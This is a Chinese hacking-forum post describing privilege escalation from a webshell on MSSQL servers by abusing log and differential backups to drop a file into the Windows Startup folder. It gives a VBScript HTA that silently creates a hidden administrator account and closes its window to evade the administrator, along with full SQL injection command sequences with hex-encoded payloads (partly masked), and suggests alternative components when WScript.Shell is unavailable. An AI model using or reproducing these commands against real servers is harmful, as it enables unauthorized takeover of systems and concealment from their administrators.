|
邪八有这样一篇文章 <<MSSQL差异备份取系统权限>>
原文里用的方法是备份出BAT文件,下面回复有人提到本地测试成功,而放到WEBSHELL上提权时效果不佳,其实原因还是出在BAT上,因为在DOS下单条命令长度是有限制的(好像是128位字符吧,不记得了),大家在本地测试时数据库一定很小(几乎是空的吧),而放WEBSHELL里提权时数据库相对较大,而且不论是LOG备份还是差异备份在备份时都会加入N多数据,只要在你备份前的BAT数据之前有一行是大于128位字符的在备份后的BAT执行时就会自动退出,不信你可以在本地建个BAT删掉@echo off这一行后在DOS运行你的BAT试试看。这就是本地测试成功,用于WEBSHELL提权时失效的原因了。
BAT不行我们试试HTA,关于HTA的文件格式大家自行GOOGLE或BAIDU
<SCRIPT LANGUAGE="VBScript">
Set WS = WScript.CreateObject("WScript.Shell")
WS.run "cmd /c net user x140le 342****1591 /add",0
WS.run "cmd /c net localgroup administrators x140le /add",0
</Script>
<script language=javascript>window.close();</script>
把上面这段代码转为16进制后再在头尾各加两个回车备份出来为HTA后缀就可加大成功率了。最后一行加个JS代码自动关掉HTA运行时弹出的窗口来躲过管理员的眼睛。
贴下备份代码:
1.Log备份:
alter database 库名 set RECOVERY FULL--
create table cmd (a image)--
backup log 库名 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A3C534****4204C414E475****7453D225****4223E0D0A536****3203D205****0742E437****4654F626A656****0742E53***56C6C22***00D0A57***32E72***56E20***36D64***02F63***06E657****4306C652****1202F616****4222C300D0A57***32E72***56E20***36D64***02F63***06E65***06C6F63***16C67***26F757****1646D696E697****1746F727****4306C65***02F616****4222C300D0A3C2F536****0743E0D0A3C736****4206C616E677****7653D6A617****0743E77***96E646F772E636C6F736****8293B3C2F736****0743E0D0A0D0A)--
backup log 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta'--
drop table cmd--
alter database 库名 set RECOVERY SIMPLE--
2.差异备份:
backup database 库名 to disk='c:\ddd.bak'--
create table dtest (cmd image)--
insert into dtest(cmd) values (0x130A0D0A3C534****4204C414E475****7453D225****4223E0D0A536****3203D205****0742E437****4654F626A656****0742E53***56C6C22***00D0A57***32E72***56E20***36D64***02F63***06E657****4306C652****1202F616****4222C300D0A57***32E72***56E20***36D64***02F63***06E65***06C6F63***16C67***26F757****1646D696E697****1746F727****4306C65***02F616****4222C300D0A3C2F536****0743E0D0A3C736****4206C616E677****7653D6A617****0743E77***96E646F772E636C6F736****8293B3C2F736****0743E0D0A0D0A)--
backup database 库名 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\run.hta' WITH DIFFERENTIAL,FORMAT--
drop table dtest--
==================================================
上面的代码是用WScript.Shell组件执行加管理员的命令的,现在安全性高点的主机都不会留着它给你提权用,如果没有WScript.Shell组件我们还可以用 Shell.Application Wscript.Network ,如果这些都不可用我们还可以用FSO直接来写其它文件..... (说得太多了,留点空间大家发挥吧......)
韩文参照:
alter database moweb002 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A406****3686F206F66***60D0A65***86F207****8656C6C3D637****4656F626A656****0742E73***56C6C22***93E6B2E76***30D0A65***86F206****3206D617****5722E64***26F2E73***05F616****6726F6C656D656D626****2206D6F776****0322C737****1646D696E3E633A5C746****3742E71***90D0A65***86F20***23D777****8656C6C2E72***56E28***36D642E657****5202F632****3716C202D45***02F55***16C6D61***02F50***02F69***33A5C746****3742E717****9222C30***93E3E6B2E76***30D0A6B2E76***30D0A64***56C20***00D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\?? ??\????\??????\1.bat'--
drop table cmd--
中文对照:
alter database moweb00 set RECOVERY FULL--
create table moweb002..cmd(a image)--
backup log moweb002 to disk='c:\cmd1' with init--
insert into cmd(a) values (0x130A0D0A406****3686F206F66***60D0A65***86F207****8656C6C3D637****4656F626A656****0742E73***56C6C22***93E6B2E76***30D0A65***86F206****3206D617****5722E64***26F2E73***05F616****6726F6C656D656D626****2206D6F776****0322C737****1646D696E3E633A5C746****3742E71***90D0A65***86F20***23D777****8656C6C2E72***56E28***36D642E657****5202F632****3716C202D45***02F55***16C6D61***02F50***02F69***33A5C746****3742E717****9222C30***93E3E6B2E76***30D0A6B2E76***30D0A64***56C20***00D0A)--
backup log moweb002 to disk='C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--
drop table cmd--
相关文章:
{方法}MSSQL差异备份取系统权限
http://www.hxhack.com/bbs/read.php?tid-79637-keyword-%C8%A1%CF%B5%CD%B3%C8%A8%CF%DE.html |
|